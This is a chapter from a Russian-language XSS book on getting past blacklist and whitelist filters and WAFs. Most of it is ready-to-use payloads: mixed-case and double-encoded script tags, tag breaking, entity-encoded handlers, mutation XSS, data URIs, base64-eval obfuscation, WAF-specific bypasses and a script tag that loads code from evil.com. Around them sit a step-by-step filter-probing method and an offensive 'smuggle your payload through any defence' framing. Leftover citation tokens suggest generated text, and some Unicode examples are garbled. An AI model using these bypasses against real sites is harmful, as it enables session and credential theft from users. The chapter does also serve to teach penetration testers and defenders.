Книга: «Все об уязвимости XSS». Глава 6: Обход фильтров - WAF это не стена, а приглашение 🚪 • Чёрные и белые списки: как их перехитрить

Фильтры безопасности бывают двух типов: чёрные списки (blacklists) и белые списки (whitelists). Первые блокируют известное зло, вторые пропускают только известное добро. И те, и другие можно обойти, если понимаешь их логику. WAF - это не непробиваемая стена, это головоломка. Твоя задача - найти в ней слабое звено, дыру в логике, забытый edge case. Давай разберёмся, как думают защитники и как их переиграть.

Blacklist (Чёрный список) - игра в кошки-мышки

Blacklist работает по принципу "запретить всё плохое". Защитники составляют список опасных паттернов -<script>, onerror, javascript:, alert( - и режут всё, что совпадает.

Проблема blacklist: Невозможно предусмотреть все варианты. Веб-технологии слишком гибки, браузеры слишком прощающи, а количество способов записать одно и то же — бесконечно.

Типичные паттерны blacklist

Простейший blacklist:

$blacklist = ['<script>', 'onerror', 'javascript:', 'alert'];
foreach($blacklist as $bad) {
$input = str_replace($bad, '', $input);
}

Это детский сад. Обходится за секунду.

Regex-based blacklist:

$pattern = '/<script|onerror|javascript:|alert\(/i';
if(preg_match($pattern, $input)) {
die('XSS detected!');
}

Уже лучше, но всё ещё полно дыр.

Продвинутый blacklist (многоуровневый):

// Блокируем теги
if(preg_match('/<(script|iframe|object|embed)/i', $input)) { block(); }
// Блокируем события
if(preg_match('/on\w+\s*=/i', $input)) { block(); }
// Блокируем URI-схемы
if(preg_match('/javascript:|data:/i', $input)) { block(); }

Уже серьёзнее, но всё равно обходится.

Техника 1: Case Manipulation

Самый тупой, но работающий метод. Если regex без флага i (case-insensitive):

<!-- Блокируется --> <script>alert(1)</script> <!-- Проходит --> <ScRiPt>alert(1)</sCrIpT> <SCRIPT>alert(1)</SCRIPT>

Это базовая техника из главы 4, которую мы уже разбирали [conversation_history:4].

Техника 2: Double Encoding

Фильтр декодирует один раз, браузер - дважды. Профит.

<!-- Блокируется --> <script> <!-- URL-encoded --> %3Cscript%3E <!-- Double URL-encoded --> %253Cscript%253E

Первая декодировка на сервере даёт %3Cscript%3E, проходит фильтр. Вторая в браузере даёт <script>.

Техника 3: Incomplete Patterns

Фильтр ищет конкретные комбинации, а ты даёшь ему почти то же самое, но не совсем.

Фильтр блокирует <script:

<scr<script>ipt>alert(1)</scr</script>ipt>

Логика: если фильтр удалит внутренний <script>, останется внешний, рабочий <script>.

Фильтр блокирует onerror=:

<img src=x onerror =alert(1)> <!-- Пробел после onerror --> <img src=x onerror%0a=alert(1)> <!-- Newline --> <img src=x onerror =alert(1)> <!-- Tab -->

HTML прощает лишние whitespace, фильтр - нет.

Техника 4: HTML Entity Encoding

Как мы детально разобрали в главе об обфускации [conversation_history:4], HTML-сущности декодируются браузером, но не всегда фильтром.

<!-- Фильтр ищет "script" --> <&#115;cript>alert(1)</&#115;cript> <&#x73;cript>alert(1)</&#x73;cript> <!-- Фильтр ищет "onerror" --> <img src=x on&#101;rror=alert(1)>

Браузер декодирует &#115;s, &#101;e, получает валидный код.

Техника 5: Alternative Syntax

Используй менее известные теги и атрибуты, которые забыли добавить в blacklist:

<!-- Вместо <script> --> <svg/onload=alert(1)> <body/onload=alert(1)> <details/open/ontoggle=alert(1)> <marquee/onstart=alert(1)> <!-- Вместо onerror --> <video/onautocompleteerror=alert(1)> <input/onautocomplete=alert(1)>

Спецификация HTML содержит десятки event handlers. Фильтры обычно знают только популярные.

Техника 6: Null Bytes и Special Characters

В некоторых языках (особенно C-based) null-byte обрывает строку:

<scri%00pt>alert(1)</scri%00pt> <script\x00>alert(1)</script>

Фильтр видит <scri, браузер игнорирует null и видит <script>.

Другие спецсимволы:

<script/src=//evil.com/x.js> <!-- Слэш вместо пробела --> <svg/OnLoAd=alert(1)> <img src=x:x onerror=alert(1)> <!-- Кастомная URI-схема -->

Техника 7: Unicode и Alternative Representations

<!-- Fullwidth characters --> <script>alert(1)</script> <!-- RTL override --> <script>alert(1)</script>Ъ <!-- Homoglyphs --> <ѕcript>alert(1)</ѕcript> <!-- Кириллическая 'с' вместо латинской -->

Визуально похоже, но технически - другие символы. Зависит от того, как фильтр нормализует ввод.

Whitelist (Белый список) - обход через легитимность

Whitelist - это противоположный подход: разрешено только то, что явно указано. Всё остальное - запрещено.

Типичный whitelist:

$allowed_tags = ['b', 'i', 'u', 'strong', 'em'];
$clean = strip_tags($input, '<b><i><u><strong><em>');

Или через regex:

if(!preg_match('/^[a-zA-Z0-9\s]+$/', $input)) {
die('Only alphanumeric allowed!');
}

Проблема whitelist: Если он настроен неправильно, можно протащить зло через разрешённые элементы.

Атака 1: Abuse разрешённых тегов

Допустим, разрешён тег <a>:

<a href="javascript:alert(1)">Click me</a>

Тег легитимен, но атрибут href с javascript: URI выполняет код.

Или если разрешён <img>:

<img src=x onerror=alert(1)>

Тег <img> в whitelist, но атрибут onerror создаёт XSS.

Атака 2: Attribute Injection в разрешённые теги

Whitelist разрешает <div> с атрибутом class:

<div class="container" onmouseover="alert(1)">

Фильтр проверяет только тег и разрешённые атрибуты, но забывает про дополнительные.

Атака 3: Mutation XSS (mXSS)

Это продвинутая техника, когда браузер по-разному парсит HTML до и после санитизации.

Пример:

<!-- Ввод --> <noscript><p title="</noscript><img src=x onerror=alert(1)>"> <!-- После санитизации (фильтр видит всё внутри noscript как текст) --> <noscript><p title="</noscript><img src=x onerror=alert(1)>"> <!-- Браузер парсит по-другому --> <noscript><p title="</noscript> <img src=x onerror=alert(1)> ">

Браузер закрывает <noscript> на первом </noscript>, а <img> оказывается вне и исполняется.

Атака 4: Context Confusion

Whitelist разрешает определённые символы, но не учитывает контекст.

// Фильтр разрешает только буквы и цифры
if(!preg_match('/^[a-zA-Z0-9]+$/', $input)) { die(); }
// Но вставляет в JavaScript-контекст
echo "<script>var name = '$input';</script>";

Payload: test (проходит whitelist)

Но если можно контролировать предыдущий контекст:

// Через другой параметр
var x = ''; var name = 'payload'; alert(1);//';

Атака 5: Bypass через разрешённые протоколы

Whitelist разрешает http:// и https://:

<a href="https://evil.com/redirect?url=javascript:alert(1)">

Или через open redirect на целевом сайте:

<a href="https://target.com/redirect?url=javascript:alert(1)">

Прямой javascript: заблокирован, но редирект на него — нет.

Атака 6: Data URI Abuse

Если data: разрешён (что редко, но бывает):

<a href="data:text/html,<script>alert(1)</script>">Click</a> <object data="data:text/html,<script>alert(1)</script>">

Или через Base64:

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

Комбинированные техники - когда одного недостаточно

Многоуровневая обфускация

Комбинируй несколько техник одновременно:

<!-- Case + Encoding + Tag Breaking --> <sCr<script>IpT>eval(atob('&#89;&#87;&#108;&#108;&#99;&#110;&#81;&#111;&#77;&#83;&#107;&#61;'))</sCr</script>IpT>

Разбор:

  1. Mixed case обходит case-sensitive фильтры
  2. Tag breaking обходит простую замену
  3. HTML entities внутри Base64 обходит сигнатуры
  4. Base64+eval прячет реальный payload

Context-aware bypasses

Подбирай технику под конкретный контекст и фильтр:

<!-- Для Cloudflare WAF --> <svg/OnLoAd=prompt`1`> <!-- Для ModSecurity --> <script>window['al'+'ert'](1)</script> <!-- Для кастомных фильтров --> <img src=x:x onerror=eval('\x61lert(1)')>

Стратегия тестирования фильтров

Шаг 1: Fingerprinting

Определи тип фильтра:

  • Отправь безобидный payload: test123
  • Отправь явно вредоносный: <script>alert(1)</script>
  • Посмотри на ответ: блокируется? Экранируется? Удаляется?

Шаг 2: Boundary Testing

Найди границы фильтра:

  • < — блокируется?
  • <s — блокируется?
  • <sc — блокируется?
  • <scr — блокируется?
  • <scri — блокируется?
  • <scrip — блокируется?
  • <script — блокируется!

Теперь знаешь, что фильтр ищет конкретно <script.

Шаг 3: Systematic Bypass

Пробуй техники по очереди:

  1. Case manipulation
  2. Encoding (HTML entities, URL, Unicode)
  3. Alternative tags/attributes
  4. Whitespace injection
  5. Tag breaking
  6. Null bytes
  7. Polyglots

Документируй, что работает, что нет.

Шаг 4: Automation

Используй инструменты для автоматизации, как мы разбирали в главе 5 [conversation_history:5]:

  • Burp Intruder с bypass payload-листами
  • XSStrike для интеллектуального обхода
  • Dalfox с режимами bypass

Практические кейсы

Кейс 1: Обход простого str_replace

// Фильтр $input = str_replace('<script>', '', $input);

Bypass:

<scr<script>ipt>alert(1)</script>

После удаления внутреннего <script> остаётся рабочий внешний.

Кейс 2: Обход regex без учёта контекста

// Фильтр блокирует on* в HTML preg_match('/on\w+=/i', $input)

Bypass через JS-контекст:

// Фильтр не блокирует это в <script> <script> elem.onclick = function() { alert(1); } </script>

Кейс 3: Обход whitelist через abuse

// Разрешены только <b>, <i>, <u> strip_tags($input, '<b><i><u>')

Bypass:

<b onclick=alert(1)>Click me</b>

Тег разрешён, но event handler создаёт XSS.

Защита от обходов

Для защитников:

  1. Используй whitelist, не blacklist - но проверяй и атрибуты тоже
  2. Контекстное экранирование - разное для HTML/JS/URL/CSS
  3. Используй проверенные библиотеки - DOMPurify, OWASP ESAPI
  4. Content Security Policy - последний рубеж обороны
  5. Регулярные обновления - новые техники появляются постоянно
  6. Тестирование на обходы - нанимай пентестеров

Для атакующих:

Помни: любой фильтр - это код, написанный человеком. А люди ошибаются. Твоя задача - найти эту ошибку раньше, чем её исправят.

Заключение

Чёрные и белые списки - это попытки решить фундаментально нерешаемую проблему: отличить вредоносный ввод от легитимного в системе, где граница между ними размыта. Blacklist'ы играют в догонялки с атакующими и всегда проигрывают. Whitelist'ы лучше, но если настроены неправильно - дают ложное чувство безопасности. Твоя задача как охотника - понять логику фильтра, найти в ней изъян и протащить свой payload через любую защиту. Это игра в шахматы, где каждый ход - новая техника обхода, каждая победа - найденная уязвимость. И пока фильтры пишут люди, они будут уязвимы. В следующем разделе мы углубимся в конкретные bypass-техники для популярных WAF'ов - там, где теория встречается с практикой промышленного масштаба.

68 views·3 shares